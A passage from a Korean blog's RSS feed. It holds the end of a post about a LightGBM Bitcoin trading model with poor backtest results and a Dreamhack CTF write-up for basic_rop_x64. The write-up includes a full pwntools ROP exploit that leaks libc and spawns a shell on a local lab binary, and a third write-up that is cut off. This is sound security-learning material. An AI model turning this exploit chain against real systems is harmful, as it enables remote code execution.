&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Baseline Model&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;모델은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;LightGBM classifier&lt;/b&gt;&lt;span&gt;를 사용했다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;선택한 이유는 다음과 같다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;트리 기반 모델이라&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;feature scaling 불필요&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;span&gt;금융 데이터에서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;과적합에 비교적 강함&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;빠른 학습 속도&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;모델은 다음 값을 예측한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;P(price_up)&lt;/blockquote&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Percentile 기반 트레이딩 전략&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;예측 확률을 그대로 사용하지 않고&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;percentile 기준으로 트레이딩 신호를 생성&lt;/b&gt;&lt;span&gt;했다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;(예시)&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;pred_prob&amp;nbsp;&amp;gt;=&amp;nbsp;90&amp;nbsp;percentile&amp;nbsp;&amp;rarr;&amp;nbsp;LONG&lt;br /&gt;pred_prob&amp;nbsp;&amp;lt;=&amp;nbsp;10&amp;nbsp;percentile&amp;nbsp;&amp;rarr;&amp;nbsp;SHORT&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 방식의 장점은&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span&gt;시장 상황에 따라&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;signal threshold 자동 조정&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;극단적인 확률에서만 트레이드 발생&lt;/li&gt;
&lt;li&gt;특정 임계값을 넘으면 매수/매도를 하는 방식은 거래량이 많아져 수수료때문에 다음과 같이 바꾸었다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Regime Adaptive Percentile 전략&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;여기서 한 단계 더 개선한 전략이&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Regime Adaptive Percentile&lt;/b&gt;&lt;span&gt;이다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시장 상태에 따라 전략을 다르게 적용한다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;상승장 &amp;nbsp; ➡︎ LONG만 허용&lt;/b&gt;&lt;/li&gt;
&lt;li&gt;&lt;b&gt;하락장 ➡︎ LONG만 허용&lt;/b&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;시장 레짐은 다음 기준으로 판단한다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;SMA 50 &amp;gt;= SMA 200 &amp;rarr; Bull Market &lt;br /&gt;SMA 50 &amp;lt; SMA 200 &amp;rarr; Bear Market&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;▶︎ &lt;b&gt;추세 방향에 맞는 트레이드만 허용&lt;/b&gt;&lt;span&gt;하는 전략&lt;/span&gt;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Walk-Forward Backtesting&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;금융 모델에서 가장 중요한 문제는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span&gt;&lt;b&gt;과적합&lt;/b&gt;&lt;/span&gt;이다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;일반적인 Train/Test split은&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;시간 의존성을 제대로 반영하지 못한다.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;그래서&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;Walk-Forward Validation&lt;/b&gt;&lt;span&gt;을 구현했다.&lt;/span&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;구조는 다음과 같다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Train &amp;rarr; Test &lt;br /&gt;Train &amp;rarr; Test &lt;br /&gt;Train &amp;rarr; Test&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉 &lt;b&gt;과거 데이터&lt;/b&gt;로 &lt;b&gt;학습&lt;/b&gt;하고&lt;b&gt; 미래 데이터&lt;/b&gt;로 계속 &lt;b&gt;테스트&lt;/b&gt;하는 방식이다.&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;Walk-Forward 결과&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;현재 baseline 결과는 다음과 같다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Average Accuracy: 0.525 &lt;br /&gt;Average ROC AUC: 0.5506&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;► 그냥 랜덤이랑 거의 비슷하다고 볼 수 있다....&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;전략 성능&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Walk-forward 결과&lt;/b&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773109846050&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Average Strategy Return: -5.6%
Average Market Return: +8.9%
Average Sharpe: -16.27
Average Max Drawdown: -7.5%&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;현재 전략은&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;시장 대비 성능이 좋지 않다.&lt;/b&gt;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;하지만 중요한 점은&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;모델 자체는 약간의 예측력을 가지고 있음&lt;/li&gt;
&lt;li&gt;feature importance도 합리적인 구조&lt;/li&gt;
&lt;/ul&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span&gt;즉&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;전략 설계와 feature engineering을 개선할 여지가 많다.&lt;/b&gt;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;다음 단계&lt;/b&gt;&lt;/h3&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;다음 개발 단계에서는 다음을 진행할 예정이다.&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;1. Feature Engineering 개선&lt;/b&gt;&lt;/h4&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;추가 예정 피처&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc; color: #000000; text-align: start;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;Trend strength&lt;/li&gt;
&lt;li&gt;Volatility regime&lt;/li&gt;
&lt;li&gt;Momentum z-score&lt;/li&gt;
&lt;li&gt;Mean reversion signal&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;2. Multi-horizon prediction&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;15분,1시간, 4시간 예측모델 추가.&lt;/b&gt;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;b&gt;3. 실시간 트레이딩 시스템&lt;/b&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;color: #000000; text-align: start;&quot;&gt;최종 목표는&lt;/span&gt;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;model &amp;rarr; signal &amp;rarr; order&lt;/blockquote&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;구조의 자동 트레이딩 봇 구축.&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;s&gt;근데 이거 좀 하다가 안될거 같으면 유기하고 다른 프로젝트 시작할 가능성이 높다.&lt;/s&gt;&lt;/p&gt;</description>
      <category>프로젝트</category>
      <category>auto trading bot</category>
      <category>bitcoin</category>
      <category>Finance</category>
      <category>Project</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/27</guid>
      <comments>https://seowoo-j.tistory.com/27#entry27comment</comments>
      <pubDate>Tue, 10 Mar 2026 11:36:32 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 해킹] basic_rop_x64 write-up</title>
      <link>https://seowoo-j.tistory.com/26</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/29&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/29&lt;/a&gt;&lt;/p&gt;
&lt;figure id=&quot;og_1770890026090&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;website&quot; data-og-title=&quot;로그인 | Dreamhack&quot; data-og-description=&quot;페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!&quot; data-og-host=&quot;dreamhack.io&quot; data-og-source-url=&quot;https://dreamhack.io/wargame/challenges/29&quot; data-og-url=&quot;https://dreamhack.io/users/login?after=/wargame/challenges/29&quot; data-og-image=&quot;&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/29&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://dreamhack.io/wargame/challenges/29&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url();&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;로그인 | Dreamhack&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;페르소나 굿즈 이벤트 기간 한정 구독 혜택 지금 가입하면 연간 플랜을 최대 75% 할인 된 가격으로!&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;dreamhack.io&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;0. 보호기법 확인&lt;/h3&gt;
&lt;pre id=&quot;code_1770886530307&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1. 소스코드 확인&lt;/h3&gt;
&lt;pre id=&quot;code_1770886589188&quot; class=&quot;css&quot; data-ke-language=&quot;css&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;signal.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;


void alarm_handler() {
    puts(&quot;TIME OUT&quot;);
    exit(-1);
}


void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

int main(int argc, char *argv[]) {
    char buf[0x40] = {};

    initialize();

    read(0, buf, 0x400);
    write(1, buf, sizeof(buf));

    return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;read 함수로 buf 크기 이상을 입력할 수 있음으로 이를 이용하여 bof&lt;/li&gt;
&lt;li&gt;ROP gadget을 이용하여 system('/bin/sh')를 이용하면 해결할 수 있을것이라 추측된다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2. exploit 시나리오&lt;/h3&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;64bit 환경에서는 rdi가 첫번쨰 인자로 사용되기에 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;ROPgadget --binary basic_rop_x64&lt;/span&gt; 명령어를 사용하여 &lt;span style=&quot;background-color: #dddddd;&quot;&gt;pop rdi; ret&lt;/span&gt;; 가젯의 주소를 구함&lt;/li&gt;
&lt;li&gt;pwntools의 기능을 이용하여 libc 에 있는 함수의 GOT 주소를 rdi에 넣음&lt;/li&gt;
&lt;li&gt;pwntools의 기능을 이용하여 puts()함수의 plt 주소를 호출하여 rdi에 들어있던 GOT 주소를 leak&lt;/li&gt;
&lt;li&gt;main함수의 주소로 이동하여 다시한번 main 함수 진행&lt;/li&gt;
&lt;li&gt;leak한 GOT 주소로 libc base 주소를 구한 뒤 그 주소에 system함수의 offset을 더하여 system 함수 주소 획득&lt;/li&gt;
&lt;li&gt;다시한번 ROP gadget을 사용하여 libc에 있는 /bin/sh 주소를 rdi에 적재&lt;/li&gt;
&lt;li&gt;system 함수를 호출하여 system('/bin/sh')를 실행&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/OxFed/dJMb99L3yUd/Rvxzlt4lXd8U4Ki3ckat30/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/OxFed/dJMb99L3yUd/Rvxzlt4lXd8U4Ki3ckat30/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2832&quot; data-origin-height=&quot;2112&quot; data-filename=&quot;rop1.png&quot; width=&quot;431&quot; height=&quot;321&quot; data-widthpercent=&quot;50&quot; style=&quot;width: 49.418605%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/OxFed/dJMb99L3yUd/Rvxzlt4lXd8U4Ki3ckat30/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FOxFed%2FdJMb99L3yUd%2FRvxzlt4lXd8U4Ki3ckat30%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2832&quot; height=&quot;2112&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/S1D0v/dJMcabb2PBT/IL1QUInpxhQ76x20IJ77ck/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/S1D0v/dJMcabb2PBT/IL1QUInpxhQ76x20IJ77ck/img.png&quot; data-is-animation=&quot;false&quot; data-origin-width=&quot;2832&quot; data-origin-height=&quot;2112&quot; data-filename=&quot;rop2.png&quot; data-widthpercent=&quot;50&quot; style=&quot;width: 49.418605%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/S1D0v/dJMcabb2PBT/IL1QUInpxhQ76x20IJ77ck/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FS1D0v%2FdJMcabb2PBT%2FIL1QUInpxhQ76x20IJ77ck%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2832&quot; height=&quot;2112&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
  &lt;figcaption&gt;왼쪽 그림: 1~4 번, 오른쪽 그림: 5~7번&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3. 주소 구하기&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;416&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/R5nku/dJMcabXqfnY/xAb9XjkoKJtrtWsL1J2wHK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/R5nku/dJMcabXqfnY/xAb9XjkoKJtrtWsL1J2wHK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/R5nku/dJMcabXqfnY/xAb9XjkoKJtrtWsL1J2wHK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FR5nku%2FdJMcabXqfnY%2FxAb9XjkoKJtrtWsL1J2wHK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1574&quot; height=&quot;416&quot; data-origin-width=&quot;1574&quot; data-origin-height=&quot;416&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;pop rdi; ret 가젯의 주소와 ret 가젯의 주소를 구함&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/c0XXTF/dJMcaiCd3O1/PKnkDxgve6XrJ2qKjXtork/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/c0XXTF/dJMcaiCd3O1/PKnkDxgve6XrJ2qKjXtork/img.png&quot; data-origin-width=&quot;1032&quot; data-origin-height=&quot;800&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;39.31&quot; style=&quot;width: 38.850592%; margin-right: 10px;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/c0XXTF/dJMcaiCd3O1/PKnkDxgve6XrJ2qKjXtork/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fc0XXTF%2FdJMcaiCd3O1%2FPKnkDxgve6XrJ2qKjXtork%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1032&quot; height=&quot;800&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bv69sW/dJMcacB2B28/3SCCJIGB3l2e6OiCzILmn1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bv69sW/dJMcacB2B28/3SCCJIGB3l2e6OiCzILmn1/img.png&quot; data-origin-width=&quot;972&quot; data-origin-height=&quot;488&quot; data-is-animation=&quot;false&quot; data-widthpercent=&quot;60.69&quot; style=&quot;width: 59.986617%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bv69sW/dJMcacB2B28/3SCCJIGB3l2e6OiCzILmn1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbv69sW%2FdJMcacB2B28%2F3SCCJIGB3l2e6OiCzILmn1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;972&quot; height=&quot;488&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다음과 같이 puts@plt와 got 주소를 구할 수 있지만, 풀이에서는 pwntools의 기능을 이용하여 사용하도록 할 것임&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4. payload 작성&lt;/h3&gt;
&lt;pre id=&quot;code_1770887776033&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *

p = remote('localhost',10001) # -&amp;gt; docker build -t basic_rop . -&amp;gt; docker run it -p 10001:10001 basic_rop
e = ELF(&quot;./basic_rop_x64&quot;)
libc = ELF(&quot;./libc.so.6&quot;)

puts_got = e.got['puts']
puts_plt = e.plt['puts']

rdi_addr = 0x400883
ret_addr = 0x4005a9

pay1 = b'a'*0x40
pay1 += b'b'*0x8
pay1 += p64(rdi_addr)
pay1 += p64(puts_got)  # puts의 got 주소를 rdi에 저장
pay1 += p64(puts_plt)  # puts를 호출하여 rdi에 있는 값을 인지로 받아와 puts@got 주소 leak
pay1 += p64(e.sym['main'])  # main함수로 되돌아가기

p.sendline(pay1)

p.recvuntil(b'a'*0x40)  
puts_libc = u64(p.recvn(6) + b'\x00'*2) # 0x7f1b75f5ced0 임으로 6byte이기에 layout을 맞추기 위해 \x00두개 추가

print(hex(puts_libc))

libc_base = puts_libc - libc.sym['puts']
system_libc = libc_base + libc.sym['system']
binsh_libc = libc_base + next(libc.search(b'/bin/sh'))

print(hex(libc_base))
print(hex(system_libc))
print(hex(binsh_libc))

pay2 = b'a'*0x40
pay2 += b'b'*0x8
pay2 += p64(rdi_addr)
pay2 += p64(binsh_libc)
pay2 += p64(ret_addr)
pay2 += p64(system_libc)

p.sendline(pay2)

p.interactive()&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;다음 문제는 주어진 libc 파일을 이용해야하기에 주어진 도커 파일을 빌드하여 실행해야 함.&lt;/li&gt;
&lt;li&gt;드림핵에서 서버를 실행했다면 도커는 필요 없음&lt;/li&gt;
&lt;li&gt;pay2 에서 ret가젯을 넣어주는 이유는 16bit offset을 맞추기 위함&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;5. 출력&lt;/h3&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-02-12 오후 2.41.14.png&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;706&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bdkkho/dJMcaivrLum/PCOBJQ5qywtHnnTZGg9MaK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bdkkho/dJMcaivrLum/PCOBJQ5qywtHnnTZGg9MaK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bdkkho/dJMcaivrLum/PCOBJQ5qywtHnnTZGg9MaK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbdkkho%2FdJMcaivrLum%2FPCOBJQ5qywtHnnTZGg9MaK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;640&quot; height=&quot;424&quot; data-filename=&quot;스크린샷 2026-02-12 오후 2.41.14.png&quot; data-origin-width=&quot;1066&quot; data-origin-height=&quot;706&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;</description>
      <category>워게임</category>
      <category>pwnable</category>
      <category>ROP Gadget</category>
      <category>rtl</category>
      <category>보안공부</category>
      <category>시스템 해킹</category>
      <category>워게임</category>
      <author>sewoo-jjang</author>
      <guid isPermaLink="true">https://seowoo-j.tistory.com/26</guid>
      <comments>https://seowoo-j.tistory.com/26#entry26comment</comments>
      <pubDate>Thu, 12 Feb 2026 18:31:33 +0900</pubDate>
    </item>
    <item>
      <title>[시스템 해킹] Tcache Poisoning write-up</title>
      <link>https://seowoo-j.tistory.com/25</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://dreamhack.io/wargame/challenges/358&quot; target=&quot;_blank&quot; rel=&quot;noopener&amp;nbsp;noreferrer&quot;&gt;https://dreamhack.io/wargame/challenges/358&lt;/a&gt;&lt;/p&gt;
